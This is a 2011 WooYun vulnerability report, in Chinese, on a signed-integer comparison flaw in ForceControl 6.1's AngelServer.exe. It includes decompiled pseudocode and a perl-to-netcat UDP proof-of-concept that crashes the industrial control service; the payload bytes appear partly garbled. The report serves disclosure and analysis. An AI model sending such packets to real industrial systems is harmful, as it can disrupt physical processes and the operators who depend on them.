当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-02843

漏洞标题:三维力控ForceControl 6.1请求堆缓冲区溢出

相关厂商:北京三维力控科技有限公司

漏洞作者: john

提交时间:2011-09-19 13:41

修复时间:2011-09-19 13:47

公开时间:2011-09-19 13:47

漏洞类型:远程代码执行

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-09-19: 积极联系厂商并且等待厂商认领中,细节不对外公开
2011-09-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

2011年5月17日,三维力控提供补丁,AngelServer.exe版本升级到6.0.11.3。
这个版本本意是对前述漏洞进行修补,经过析,此补丁由于错误地进行有符号32-bits整型比较,引入了新的DoS漏洞

详细说明:

关键代码如下:
--------------------------------------------------------------------------
unsigned char *buf;
int count, i;
if ( len( udpdata[] ) >= 16 )
{
count = *( unsigned int * )( udpdata + 0x8 );
i = len( udpdata[] ) - 16;
/* 开发人员在修补时增加了一个长度比较,如果发现count比实际接收的数据段
* 长度i小,才进行后续处理。这个修补思路是对的,但是进行长度比较时,是
* 进行了有符号32-bits整数比较,当count高位置1时,也就是count是一个大
* 的负数时,这个判断会被绕过!
*/
if ( i >= count )
{
/*
* 当count高位置1时,这个分配内存的动作(实际是new操作)会失败,并抛
* 出异常,没有SEH进行保护,最终导致AngelServer.exe进程崩溃。
*
* 即使分配成功,最终也会触发后续的内存读访问违例。
*/
buf = ( unsigned char * )calloc( count + 16, 1 );
...
}
}
--------------------------------------------------------------------------
PoC(UDP端口是动态的,假设目标端口是1065/UDP):
perl.exe -e "print "�����������x80���x41"" | nc -u -n 10.17.2.3 1065
上述PoC会导致AngelServer.exe进程立即崩溃。
另外,美国工业控制系统网络紧急响应小组的安全公告里认为CNVD-2011-05348这个漏洞是一个堆溢出,根据初步分析,我认为这个结论不正确,没有堆溢出,仅仅是畸型报文引发内
存读访问违例,最终导致AngelServer.exe进程崩溃。
关键代码如下:
--------------------------------------------------------------------------
if ( len( udpdata[] ) >= 16 )
{
count = *( unsigned int * )( udpdata + 0x8 );
type = *( unsigned int * )( udpdata + 0xC );
if ( 0 != type && 1 != type )
{
for ( i = 0; i < count; i++ )
{
...
/*
* 在此发生内存读访问违例
*/
c = udpdata[0x10+i];
...
}
}
}
--------------------------------------------------------------------------

漏洞证明:

修复方案:

版权声明:转载请注明来源 john@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)